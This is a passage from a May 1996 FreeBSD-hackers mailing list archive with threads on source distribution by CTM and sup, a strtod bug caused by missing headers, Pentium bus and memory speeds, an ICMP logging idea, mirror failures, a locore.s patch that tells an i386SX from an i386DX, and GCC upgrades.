99.99% of the folks for whom my assumptions apply. > Cheap shot. I'm not 'elite' class, but what I hear you arguing for is something that the 'members of the elite class' get to implement, which means more work. Since the current system already works and doesn't require any more work for me, I'm bane to consider anything that makes my life more difficult. > > I also don't consider the current system a problem. Thousands of folks are able to get the sources today, and I actually think that the current scheme tends to make sure that folks who get the newest sources have the ability to deal with them, vs. giving them to the 'masses' when they aren't in a state that they can handle. > Both -current and -stable are moving targets, and should only be used by more competent people. If you aren't competent enough to figure out SUP and/or CTM as it is currently, use the SNAPS or wait for the CD. I'll take another shot at that comment. It is no wonder the Linux is more popular. I'm glad that Jordan doesn't adopt your "keep it hard to do" attitude. There are thousands who manage to get the sources IN SPITE OF THE DIFFICULTIES in their way. Whetheror not they SHOULD be getting them is another question. But they do. And in doing so, they consume a very large amount of "our" computer resources. If we can make it possible for them to do things more efficiently, everyone will benefit. And since I am the one who generates the ctm updates for 2.1, I am looking to do something that helps the majority of the users. I am also looking for a way to simplify my life. I do have to assist those users in getting things going. The things that I suggested are really only minor changes to the operating procedure. But those changes and have a major impact on the ease of use of the final product. -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Thu May 16 22:20:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA13385 for hackers-outgoing; Thu, 16 May 1996 22:20:06 -0700 (PDT) Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA13336 for ; Thu, 16 May 1996 22:20:02 -0700 (PDT) Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de) by mail.rwth-aachen.de (PMDF V5.0-4 #13110) id <01I4SYEJU1W00014LE@mail.rwth-aachen.de>; Fri, 17 May 1996 07:19:24 +0100 Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.6.11/8.6.9) id HAA05019; Fri, 17 May 1996 07:26:39 +0200 Date: Fri, 17 May 1996 07:26:38 +0200 (MET DST) From: "Christoph P. Kukulies" Subject: Re: A MMAP observation In-reply-to: To: mrcpu@cdsnet.net (Jaye Mathisen) Cc: hackers@freebsd.org Reply-to: Christoph Kukulies Message-id: <199605170526.HAA05019@gilberto.physik.rwth-aachen.de> MIME-version: 1.0 X-Mailer: ELM [version 2.4ME+ PL16 (25)] Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [mmap observatinos deleted] I sent Jaye a collection of messages I piled up some time ago about odbc clients for unices. It's a bit lengthy I didn't want to bother the list. So if anyone wants it, drop me a mail. > Of course, if somebody would make ODBC clients for FreeBSD so I could let > it talk to my NT SQL server, then I wouldn't have to mess with this at > all. :) > > --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Thu May 16 22:22:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA13651 for hackers-outgoing; Thu, 16 May 1996 22:22:50 -0700 (PDT) Received: from distortion.eng.umd.edu (distortion.eng.umd.edu [129.2.98.6]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA13646 for ; Thu, 16 May 1996 22:22:48 -0700 (PDT) Received: from gilligan.eng.umd.edu (gilligan.eng.umd.edu [129.2.98.205]) by distortion.eng.umd.edu (8.7.5/8.7.3) with ESMTP id BAA07313; Fri, 17 May 1996 01:22:46 -0400 (EDT) Received: (from chuckr@localhost) by gilligan.eng.umd.edu (8.7.5/8.7.3) id BAA05801; Fri, 17 May 1996 01:22:46 -0400 (EDT) Date: Fri, 17 May 1996 01:22:45 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@gilligan.eng.umd.edu To: "Marc G. Fournier" cc: hackers@freebsd.org Subject: Re: C Programming Question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Marc G. Fournier wrote: > > Hi... > > I'm trying to do something that I feel should be relatively > brain dead to do, but can't get it to work...change an ascii string > to a double. > > I've tried using atof() and strtod(), and both return the > same answer...0. > > The code is simple, and right now, just pulls the first line > from a file to manipulate it: Put in the correct includes for strtok (string.h) and strtod (stdlib.h) and then it will work fine. Your machine has no idea what values those return. > > ---[ short code segment ]---- > #include > #include > > #define DATAFILE "/home/staff/scrappy/snmp/values" > > main(int argv, char **argc) > { > FILE *in; > char inbuf[80], *junk, str[20]; > double value; > > in=fopen(DATAFILE, "r"); > fgets(inbuf, sizeof(inbuf), in); > printf("inbuf: %s\n", inbuf); > junk = strtok(inbuf, " "); > junk = strtok(NULL, " "); > strcpy(str, junk); > printf("%s\n", str); > value = strtod(str, NULL); > printf("[%f]\n", value); > fclose(in); > } > ----[ end of code ]---- > > the output, when running this, looks like: > > ki> ./double > inbuf: 832220635 1980972567 2198208632 > > 1980972567 > [0.000000] > > Using atof() instead of strtod() gives the same result, so the > only thing I can think of is I'm missing something *really* simple here. > > If I change it to use atoi(), the value comes up correctly, but > the second value in the inbuf comes out as: > > 2198208632 > [2147483647] > > Trying to set 'value' to be an unsigned int has the same result, > as well as unsigned long/atol()...nothing wants to exceed the 2147483647 > barrier. > > So...is it something I'm missing? According to the Unix C reference > I have, a 4byte int, unsigned, should give me 0->4294967295, but I'm only > getting half of that. > > Marc G. Fournier scrappy@ki.net > Systems Administrator @ ki.net scrappy@freebsd.org > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 9120 Edmonston Ct #302 | Greenbelt, MD 20770 | I run Journey2 and n3lxx, both FreeBSD (301) 220-2114 | version 2.2 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Thu May 16 22:36:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA14616 for hackers-outgoing; Thu, 16 May 1996 22:36:08 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA14561 for ; Thu, 16 May 1996 22:36:02 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id WAA15732; Thu, 16 May 1996 22:32:29 -0700 (PDT) Message-Id: <199605170532.WAA15732@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Terry Lambert cc: narvi@haldjas.folklore.ee (Narvi), hackers@freebsd.org Subject: Re: EDO & Memory latency In-reply-to: Your message of Thu, 16 May 96 13:22:47 -0700. <199605162022.NAA17795@phaeton.artisoft.com> Date: Thu, 16 May 1996 22:32:26 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> > PCI can't run faster than 33 -- on a 75, that means 25. >> I feel I can't argue against this - though why aren't they running it >> at some other speed than 1/2 of external and not 33/50 of it? I hate >> Pentium 75-s which lose to 486DX-80s in one of the components of graphics >> winmark... (everything else was exactly the same) :-( >Use P100's (actualy P99's) and run the full 33, and you won't be >unhappy. Actually, probably P100's with the bus running 33.3... MHz. If they're not going 33.3... how do they get 133, 166 (really 167, but...) and 200? >Since Intel started dumping Pentiums at 1/2 price, can you even get >486's any more except buying out distressed warehouse inventory? I'm sure AMD and/or Cyrix would be happy to sell you one. Though how distressed they might be... ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Thu May 16 22:40:31 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA15471 for hackers-outgoing; Thu, 16 May 1996 22:40:31 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA15448 for ; Thu, 16 May 1996 22:40:23 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id WAA15769; Thu, 16 May 1996 22:38:49 -0700 (PDT) Message-Id: <199605170538.WAA15769@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: "Serge A. Babkin" cc: narvi@haldjas.folklore.ee (Narvi), hackers@freebsd.org Subject: Re: EDO & Memory latency In-reply-to: Your message of Thu, 16 May 96 16:47:46 +0600. <199605161047.QAA13555@hq.icb.chel.su> Date: Thu, 16 May 1996 22:38:49 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> > I have just tried lmbench and the numbers it gives are looking >> > slightly strange for me. It shows memory latency upto 500ns while >> > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external >> > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, >> > it gives 80ns, but why the overhead is over 400ns ? >> The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not >You're right, I was wrong. So, the guestion gets yet more interesting :-) The external local _memory_ bus runs at 50MHz. The PCI bus, on that machine, would run at 25MHz. There's more than one bus... >> 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... >> I would use a quicker processor and (120) with ordinary memory >> (fast-page, 70ns) - but the likes may vary. Yes, ASUS says that my Pentium motherboard (Triton chipset) can use 70ns SIMMs for 60MHz memory bus (P120, P150, P180, etc.), but they say I am supposed to use 60ns (or faster) SIMMs if I run the memory bus at 66MHz (P100, P133, P166, etc.). ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Thu May 16 22:41:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA15669 for hackers-outgoing; Thu, 16 May 1996 22:41:59 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA15661 for ; Thu, 16 May 1996 22:41:55 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id WAA15791; Thu, 16 May 1996 22:40:18 -0700 (PDT) Message-Id: <199605170540.WAA15791@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Narvi cc: "Serge A. Babkin" , hackers@freebsd.org Subject: Re: EDO & Memory latency In-reply-to: Your message of Thu, 16 May 96 13:19:46 +0300. Date: Thu, 16 May 1996 22:40:18 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >And I am (like others might) having the dreams of SRAM-only computer, no >matter how one with more/faster processors + ordinary memory might perform. Then you must be a lot richer than I am! ;-) ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Thu May 16 22:45:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA15996 for hackers-outgoing; Thu, 16 May 1996 22:45:29 -0700 (PDT) Received: from nol.net (root@dazed.nol.net [206.126.32.101]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA15990 for ; Thu, 16 May 1996 22:45:25 -0700 (PDT) Received: from dazed.nol.net (blh@dazed.nol.net [206.126.32.101]) by nol.net (8.7.5/8.7.3) with SMTP id AAA06595 for ; Fri, 17 May 1996 00:45:20 -0500 (CDT) X-AUTH: NOLNET SENDMAIL AUTH Date: Fri, 17 May 1996 00:45:19 -0500 (CDT) From: "Brett L. Hawn" To: hackers@freebsd.org Subject: hrmm Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've been sitting here watching ICMPs for kicks and I had an idea though I can't say as how useful it might be... I was thinking of a kernel level ICMP logging utility that would be set using sysctl with appx 3 different levels of logging. Level 1: basic information (ie. what it was) Level 2: Basic Info + where it came from where it was headed Level 3: All information related to the ICMP packet Mostly I was thinking of this as a method of teaching myself more about ICMP and the fbsd kernel/sysctl but I just can't fathom a need for it, please.. someone give me a reason :) Brett L. Hawn From owner-freebsd-hackers Thu May 16 22:45:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA16045 for hackers-outgoing; Thu, 16 May 1996 22:45:57 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA16038 for ; Thu, 16 May 1996 22:45:51 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id WAA15807; Thu, 16 May 1996 22:44:26 -0700 (PDT) Message-Id: <199605170544.WAA15807@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Warner Losh cc: se@zpr.uni-koeln.de (Stefan Esser), "Serge A. Babkin" , hackers@freebsd.org Subject: Re: EDO & Memory latency In-reply-to: Your message of Thu, 16 May 96 16:46:21 -0600. <199605162246.QAA04971@rover.village.org> Date: Thu, 16 May 1996 22:44:18 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >: It is, but why don't you get >: yourself an AMD 5x86 instead, >: which performs better than the >: P5-83 and is a lot cheaper ? >What is the cost and will it plug into my oldish 33MHz 486DX >motherboard? AMD and Cyrix both make a 5x86. They use a 486 socket, but require a 3-volt supply. So, you'd probably have to get a 5-volt to 3-volt daughtercard with the CPU. I've seen the daughtercards for $40-$50. The CPUs should run you $75 to $100, depending on how fast you buy them. The only other thing you'll have to worry about is whether your BIOS will screw things up or not. In most cases, that won't be a problem, from what I've been told. Talk to a reputable dealer in Computer Shopper if you want more help with that. Finally, if you want much more info on this, that I just don't care to retype, consult the NetBSD port-i386 archives for a thread on this very subject over the past week or so. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Thu May 16 22:53:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA16599 for hackers-outgoing; Thu, 16 May 1996 22:53:53 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA16594 for ; Thu, 16 May 1996 22:53:50 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id WAA15833; Thu, 16 May 1996 22:49:17 -0700 (PDT) Message-Id: <199605170549.WAA15833@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Warner Losh cc: Narvi , "Serge A. Babkin" , hackers@freebsd.org Subject: Re: EDO & Memory latency In-reply-to: Your message of Thu, 16 May 96 12:57:02 -0600. <199605161857.MAA04204@rover.village.org> Date: Thu, 16 May 1996 22:49:17 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >: The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not >: 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... >: I would use a quicker processor and (120) with ordinary memory >: (fast-page, 70ns) - but the likes may vary. >This reminds me of a question that I've wanted to ask for a while. >Does anybody know where I can find a good writeup on the various >Pentium chip speeds and how they relate to bus speeds? http://www.intel.com/ http://www.amd.com/ http://www.cyrix.com/ Basically, it's probably either a multiple of 60 or 66.67MHz. I think the P75 is the only chip that operates at 50MHz. This is the speed of the local _memory_ bus (to the cache and ram). Take the above speeds and divide by two for the PCI bus speed (25, 30, 33.3). >I'm most interested in the P5-83 which is an upgrade to my dx2-66. It >sounds as if it is running at 2.5x my bus speed, which is odd to say >the least. That isn't a true Pentium. And, I don't know why they chose that, but yes, it would have to be 2.5x 66MHz if it plugs into a 66MHz socket. I personally wouldn't bother with the Intel 486->"P5" chip. It's over-priced and under-powered compared to the Cyrix and AMD 5x86 chips. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Thu May 16 22:59:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA16976 for hackers-outgoing; Thu, 16 May 1996 22:59:50 -0700 (PDT) Received: from ns.uninet.ee (ns.uninet.ee [194.204.0.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id WAA16954; Thu, 16 May 1996 22:59:42 -0700 (PDT) Received: (from taavi@localhost) by ns.uninet.ee (8.6.12/8.6.12) id IAA29902; Fri, 17 May 1996 08:59:15 +0300 Date: Fri, 17 May 1996 08:59:14 +0300 (EET DST) From: Taavi Talvik To: Richard Wackerbarth cc: FreeBSD Hackers , FreeBSD Current , "freebsd-stable@freebsd.org" Subject: Re: Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On 16 May 1996, Richard Wackerbarth wrote: > The Distribution: > There are seven distribution channels upon which I will comment. > 1) Direct access to the master tree. This really applies only > to the cvs tree and is "the only way to go" for commiters > who are well connected. > 2) Using "mirror". > 3) Using "mirror" with directory listing cached on the server. > 4) Using "sup". > 5) Using "ctm". > 6) Using distribution tarballs. > 7) Using the "live file system" from CD. > > Characteristics of the Distribution Mechanisms. > a) Only (1) and (2) provide "up to the minute" copies. All the > rest give only a snapshot at server defined intervals. > However, they exert an extremely heavy load on the server. > The remainder compromise (in a reasonable mannner) by reusing > the tree scan for multiple users at the expense of a delay > in the update. I am trying to mirror FreeBSD distributions for ftp.ee.freebsd.org. So far i not very successful in keeping my server up to date. For example last nite mirror retrieved onlyabout 50 files before ftp server went away. Restarting means retreieving another 30M of directory listing... There should be better way. Mirrored FreeBSD-current (ftp.freebsd.org:/pub/FreeBSD/FreeBSD-current -> /disk2d/ftp/pub/unix/FreeBSD/FreeBSD-current) FreeBSD-current @ Fri May 17 00:15:49 EET DST 1996 Got ports/LEGAL 2093 Got ports/www/netscape3/files/netscape.sh 281 Got ports/www/apache/patches/patch-ae 1755 Got ports/archivers/Makefile 386 Got ports/archivers/rar/Makefile 630 Got ports/archivers/rar/pkg/COMMENT 31 Got ports/archivers/rar/pkg/DESCR 244 Got ports/archivers/rar/pkg/PLIST 23 Got ports/archivers/rar/files/md5 54 Got ports/archivers/unrar/Makefile 503 Got ports/archivers/unrar/pkg/PLIST 11 Got ports/archivers/unrar/pkg/COMMENT 43 Got ports/archivers/unrar/files/md5 111 Got ports/games/Makefile 867 Got ports/games/imaze/Makefile 687 Got ports/games/xskat/Makefile 505 Got ports/games/xskat/pkg/COMMENT 25 Got ports/games/xskat/pkg/DESCR 216 Got ports/games/xskat/pkg/PLIST 30 Got ports/games/xskat/files/Imakefile 606 Got ports/games/xskat/files/md5 58 Got ports/x11/FWF/Makefile 433 Got ports/misc/less/Makefile 615 Got ports/print/psutils/Makefile 2170 Got ports/print/teTeX/Makefile 1163 Got ports/print/teTeX/scripts/post-install 3268 Got ports/print/teTeX/scripts/pre-extract 957 Got ports/print/teTeX/pkg/PLIST 621 Got ports/print/teTeX/files/vars 86 Got ports/print/teTeX/files/md5 1099 Got ports/lang/tclX75/Makefile 1914 Got ports/lang/tclX75/pkg/PLIST 9161 Got ports/graphics/Mesa/Makefile 375 Got ports/graphics/Mesa/pkg/PLIST 408 Got ports/graphics/Mesa/pkg/DESCR 574 Got ports/graphics/Mesa/pkg/COMMENT 52 Got ports/graphics/Mesa/patches/patch-aa 1366 Got ports/graphics/Mesa/patches/patch-ab 358 Got ports/graphics/Mesa/files/md5 59 Got ports/audio/gmod/Makefile 510 Got ports/shells/zsh/Makefile 850 Got ports/shells/zsh/files/md5 63 Got ports/shells/zsh/pkg/COMMENT 39 Got ports/shells/zsh/pkg/PLIST 575 Got ports/shells/pdksh/Makefile 459 Got ports/shells/pdksh/files/md5 60 Got ports/comms/rzsz/files/md5 54 Got src/usr.sbin/ppp/os.c 8048 Got src/usr.sbin/ctm/mkCTM/mkctm.c 14215 Got src/usr.sbin/ctm/mkCTM/Makefile 482 Got src/usr.bin/sgmlfmt/sgmlfmt.pl 15872 (file shrunk from 17699!) Failed to get src/usr.bin/f2c/f2c.1: timed out Failed to get src/usr.bin/calendar/calendar.1: 200 PORT command successful. Failed to get src/sys/i386/conf/LINT: 150 Opening BINARY mode data connection for src/usr.bin/calendar/calendar.1 (7411 bytes). Failed to get src/sys/i386/conf/GENERIC: remote server gone away unlink /disk2d/ftp/pub/unix/FreeBSD/FreeBSD-current/src/games/hack/hack.onames.h best regards, taavi From owner-freebsd-hackers Thu May 16 23:19:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA18364 for hackers-outgoing; Thu, 16 May 1996 23:19:58 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA18359; Thu, 16 May 1996 23:19:56 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id XAA17489 ; Thu, 16 May 1996 23:19:49 -0700 Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id PAA10859; Fri, 17 May 1996 15:56:56 +0930 From: Michael Smith Message-Id: <199605170626.PAA10859@genesis.atrad.adelaide.edu.au> Subject: Re: Standard Shipping Containers - A Proposal for Distributing FreeBSD To: imp@village.org (Warner Losh) Date: Fri, 17 May 1996 15:56:56 +0930 (CST) Cc: nate@sri.MT.net, rkw@dataplex.net, hackers@FreeBSD.org, freebsd-current@FreeBSD.org, freebsd-stable@FreeBSD.org In-Reply-To: <199605170421.WAA06771@rover.village.org> from "Warner Losh" at May 16, 96 10:21:33 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Warner Losh stands accused of saying: > apply it, so it is no muss, no fuss. Easily more up to date that sup > ever was for me. I resisted for a long time going to ctm because I > thought it wouldn't give me the access that sup gave me. It has > worked 1000% better than sup ever did for me. This is usually > sufficient because relatively little changes in any given four hour > period. All this discussion is telling us is that there are several different ways by which FreeBSD source code is distributed, and each of these different ways works well for different people. What's wrong with things as they are? Why should anyone feel compelled to change things if they're not broken? > Warner -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 16 23:36:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA19482 for hackers-outgoing; Thu, 16 May 1996 23:36:45 -0700 (PDT) Received: from js3guj.injapan.net (pms16.inJapan.net [202.243.53.80]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA19469 for ; Thu, 16 May 1996 23:36:37 -0700 (PDT) Received: (from si@localhost) by js3guj.injapan.net (8.6.11/8.6.9) id PAA04414; Fri, 17 May 1996 15:36:32 +0900 Date: Fri, 17 May 1996 15:36:32 +0900 Message-Id: <199605170636.PAA04414@js3guj.injapan.net> From: si@injapan.net To: hackers@freebsd.org Subject: distinguish i386SX from i386DX [locore.s] CC: si@injapan.net Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello hackers, I added the code that distinguish i386SX from i386DX to 'locore.s' and modify 'specialreg.h'. I tested this code on my i386SX box only, because there are no i386DX box around me. If you have one, please test and tell me (or this ML) the result. And I tested this code on FreeBSD-2.0.5R only. My i386SX box's configuration: Model: Toshiba J3100SX001VW CPUs: i386SX(20MHz) + i387SX Memory: 10M HD: 200M OS: FreeBSD-2.0.5R Following diffs are for FreeBSD-current. *** 1.1 1996/05/17 05:23:21 --- locore.s 1996/05/17 05:48:51 *************** *** 547,552 **** --- 547,568 ---- testl %eax,%eax jnz 1f movl $CPU_386,_cpu-KERNBASE + + /* Try to toggle ET bit; cannot change on 386SX. */ + movl %cr0,%eax + movl %eax,%ecx + orl $CR0_ET,%eax + movl %eax,%cr0 + + movl %cr0,%eax + xorl %ecx,%eax + andl $CR0_ET,%eax + movl %ecx,%cr0 + + testl %eax,%eax + jnz 1f + movl $CPU_386SX,_cpu-KERNBASE + jmp 3f 1: /* Try to toggle identification flag; does not exist on early 486s. */ *** 1.1 1996/05/17 05:34:53 --- specialreg.h 1996/05/17 05:35:15 *************** *** 46,54 **** #define CR0_EM 0x00000004 /* EMulate non-NPX coproc. (trap ESC only) */ #endif #define CR0_TS 0x00000008 /* Task Switched (if MP, trap ESC and WAIT) */ - #ifdef notused #define CR0_ET 0x00000010 /* Extension Type (387 (if set) vs 287) */ - #endif #define CR0_PG 0x80000000 /* PaGing enable */ /* --- 46,52 ---- --si -.. . .--- ... ...-- --. ..- .--- From owner-freebsd-hackers Thu May 16 23:46:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA20095 for hackers-outgoing; Thu, 16 May 1996 23:46:29 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id XAA20090 for ; Thu, 16 May 1996 23:46:23 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id HAA10539; Fri, 17 May 1996 07:44:58 +0100 (BST) To: Peter Mutsaers cc: freebsd-hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: internal compiler error In-reply-to: Your message of "17 May 1996 00:14:30 +0200." <87loisb709.fsf@plm.simplex.nl> Date: Fri, 17 May 1996 07:44:57 +0100 Message-ID: <10536.832315497@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Peter Mutsaers wrote in message ID <87loisb709.fsf@plm.simplex.nl>: > But the newer versions are quite a bit faster. I used to use Linux > until recently and it uses 2.7.2 for everything, so it must be > possible for FreeBSD too. It is a pity to ignore such easy performance > gain. It's POSSIBLE. Just a LOT of work to ensure that any new 2.7.x ``features'' (read: bugs) don't cause problems for the LARGE ammount of code in FreeBSD (Remember, the /usr/src is on the order of 120Mb's ...) It's about the only advantage to the way Linux is packaged (i.e. the kernel is one bit, and you put the rest of what you want around it). It's a lot less work for it to be migrated to a new compiler, as the rest of the bits don't NECESSARILY have to be moved at the same time to using the same compiler version. Since it is likely that there will be ANOTHER release of GCC before 2.2 is out the door (and well before the code freeze starts) I'd probably be more inclined to wait a while and take the new compiler 